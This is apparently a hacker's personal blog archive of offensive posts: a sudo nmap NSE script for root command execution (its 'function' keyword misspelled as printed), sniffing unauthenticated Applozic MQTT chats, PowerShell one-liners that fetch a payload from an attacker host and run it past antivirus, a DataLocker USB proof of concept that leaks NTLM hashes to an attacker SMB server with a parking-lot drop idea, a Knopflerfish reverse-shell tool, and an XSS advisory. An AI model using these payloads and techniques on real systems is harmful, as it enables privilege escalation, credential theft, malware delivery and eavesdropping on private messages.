Wednesday, May 19, 2021

NMAP nse script to run system cmds "in case of sudo"



On some recent research I found a system that had nmap and it was set up in sudoers! I know I thought that never happen in real life! It was a new version of nmap that didnt have the 'ol -i flag we see in the old priv esc guides, but I figured I could use an nse script to make system calls. A quick google and a few minutes later I had a working nse script that did the job. 


Here is the script:

os.execute("id") #replace with any cmd you like, i used id to verify r00t

portrule = fucntion()

end

action = fucntion()

end


save to /tmp/ and run like so:

sudo nmap --script=/tmp/hax0r.nse

and profit?

Monday, November 11, 2019

Snooping Applozic chat messages via MQTT

I was surfing the web learning about MQTT when I came across something very interesting and started digging. So here is how I was able to sniff Applozic chat messages and download images being sent, and any files being sent to a client or chat user.

Lets start with what Applozic is. Their website say's, "We built Applozic for creators like you so that you don’t have to reinvent the wheel. Applozic provides a comprehensive set of Chat SDKs and easy-to-use APIs so that you can build and iterate quickly. Running on the cloud, the infrastructure is always available, continuously upgraded and auto-scales to meet your needs". So its a "cloud" based chat system that ppl can put in phone apps, web sites, etc. that some people are setting up and making bots to automate support for their service or product. It is using MQTT for the back end message delivery.

Now we will talk about MQTT. Their website says, "MQTT is a machine-to-machine (M2M)/"Internet of Things" connectivity protocol. It was designed as an extremely lightweight publish/subscribe messaging transport. It is useful for connections with remote locations where a small code footprint is required and/or network bandwidth is at a premium. For example, it has been used in sensors communicating to a broker via satellite link, over occasional dial-up connections with healthcare providers, and in a range of home automation and small device scenarios. It is also ideal for mobile applications because of its small size, low power usage, minimised data packets, and efficient distribution of information to one or many receivers". So its a messaging protocol for IoT devices. Looking around on shodan reviles most of the systems out there are just that, IoT devices. As far as I can tell most of them are home automation type systems. MQTT does offer authentication, but isn't used much including with Applozic.

Now back to Applozic. In most cases I found of this app being used in the wild is some type of chat support bot so no initial auth is required, but some are using a local auth mechanism to use the chat. For devs to use the API they do give out a API key. All of these apps are using the API which uses MQTT for back end message handling which isn't using authentication.

All of this leads to being able to sniff chat messages. I found a nice MQTT explorer online and pointed it at one of Applozic's MQTT servers and the messages came rolling in from all over the globe. Some of these messages had very sensitive information in them. I mean VERY sensitive!

Next step might be trying to publish to some of the titles, but that is another project.

To resolve this they are going to have to start using that API key as bilateral authentication with MQTT.

Applozic's implementation of MQTT seems to be unique, but they are not the only ones using it for human to human or human to bot communications. All of them have the same issue, unauthenticated access to MQTT allowing for anyone to see the convos. Also seen a few systems using MQTT to transfer XML payloads which was odd and likely open to XXE. Thats it, go explore and have fun!

Sunday, January 27, 2019

Two useful powershell cmds

Download bin:

powershell -exec bypass -c Invoke-WebRequest -Uri http://attacker/payload.exe -OutFile c:\Users\Public\Documents\payload.exe #wrap the execution of payload.exe in a batch file called start.cmd and "download" it to target as well.

Execute bin:
powershell -exec bypass -c Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList c:\Users\Public\Documents\start.cmd

The powershell got around most AVs and combo of the batch file and ps cmd the payload should run on its own, no matter how you managed code execution on the target. Persistence is the next todo.

Monday, September 17, 2018

Nabbing NTLM Hashes With DataLocker Sentry ONE Managed USB Drives

The DataLocker Sentry ONE Managed USB drive is a great, affordable, secure self encrypting device. It features AES256 full disk encryption with built in management software that includes a anti-malware scanner. It does how ever have at least one feature that if exploited can lead to the users NTLM hashes being sent to any address the attacker chooses.

I found that the DataLocker Simply Secure device management software can be used to send the current users NTLM hash to any remote server an attacker chooses with no interaction from the user and without the users knowledge. The user simply has to run the unlock software and input the correct password, which auto launches the management software, triggering a SMB call.


This vulnerability depends on an insider threat or malware. You could drop these in a parking lot and put the password in the cap on a small piece or paper or something. Because its password protected, people might be more likely to want to check it out.

PoC:
Set up SMB server to prompt for domain credentials on connect. (Metasploit: auxiliary/server/capture/smb)
Edit management software config to include path to SMB server as an app. (Drive Letter:\.Apps\.apps.db)
Add content after AdditionalApplications tag:
                < Appl>
                                < Identifier>0< /Identifier>
                                < AppPath>\\attack.machine\< /AppPath>
                                < Args></ Args>
                                < IconPath></ IconPath>
                                < DisplayName></ DisplayName>
                                < Summary></ Summary>
                                < Url></ Url>
                                < InternalVersion>0< /InternalVersion>
                                < OS>0</ OS>
                < /Appl>
"Remove spaces"
Close and relock device. Move to another computer or re-run unlock software.
Authenticate to device, triggering SMB request.
View Metasploit for NTLM hash.

Why they would allow this, or just didn't think of it when they were developing the software, I dont know.

Sunday, August 19, 2018

Knopflerf*ck tool - A Knopflerfish attack tool

Knopflerf*ck tool is a little script I made to attack the Knopflerfish Framework. It currently will scan a host for the presence of the Knopflerfish Framework and then run a quick enum of a few its services like http server and remote framework functionality, and a known XSS in its http console. It can also generate a reverse shell connection payload and upload/execute it if the remote framework is exposed.

KFT usage and "modes"
Mode 1 runs an enum scan
-Checks for default bundle info, HTTPConsole, and if the remote framework is running
-Usage: python knopflerfucktool.py 1
Mode 2 outputs a payload to upload however you like
-Usage: python knopflerfucktool.py 2
-This mode also makes the payload needed for mode 3
-Requires openJDK 1.8.0 and Eclipse Equinox (eceq.jar)
Mode 3 uses the KF Remote Framework to upload and run a payload
-Usage: python knopflerfucktool.py 3
-This mode needs the payload from mode 2
-The payload needs to be host on the web root of http://:/

Get it at GitHub

Tuesday, July 24, 2018

Knopflerfish bundle httpconsole 4.0.1 XSS

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Cross Site Scripting x2
[x] Vendor: Knopflerfish Project
[x] Vendor Website: https://www.knopflerfish.org
[x] Bundle Name: httpconsole
[x] Bundle Version: 4.0.1
[x] Bundle DL: https://www.knopflerfish.org/releases/current/osgi/jars/httpconsole/httpconsole_all-4.0.1.jar
[x] Found by: Anarchy Angel
[x] Twitter: @anarchyang31
[x] URL: https://aahideaway.blogspot.com
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[1] Pre-authentication XSS in login page.
Method: POST
URL: http://knopflerfish-server:8080/servlet/console
Variable: loginname

exp:
POST /servlet/console HTTP/1.1
Host: http://knopflerfish-server:8080
...

loginname=[XSS]&loginpwd=asd&login_cmd=Login
====


[2] Post authentication XSS in management console.
Method: POST
URL: http://knopflerfish-server:8080/servlet/console
Variable: cmd_install_url

exp:
POST /servlet/console HTTP/1.1
Host: http://knopflerfish-server:8080
...

bundle_id=29&cmd_install_url=[XSS]&cmd_installurl=install

Ummm firsties? :)

Saturday, June 2, 2018

Files for part 3 of 3 from Fully Functional & Programmed in Multiple Techniques

This time we covered broadcast receivers abuse in android applications.

Here is the android studio project

Slides from the demo

Here is the cheatsheet I keep talking about :)

Many thanks to stl2600 and Arch Reactor for allowing me to do stuff in the space! I hope everyone enjoyed this small series of presentations.

Thank you all!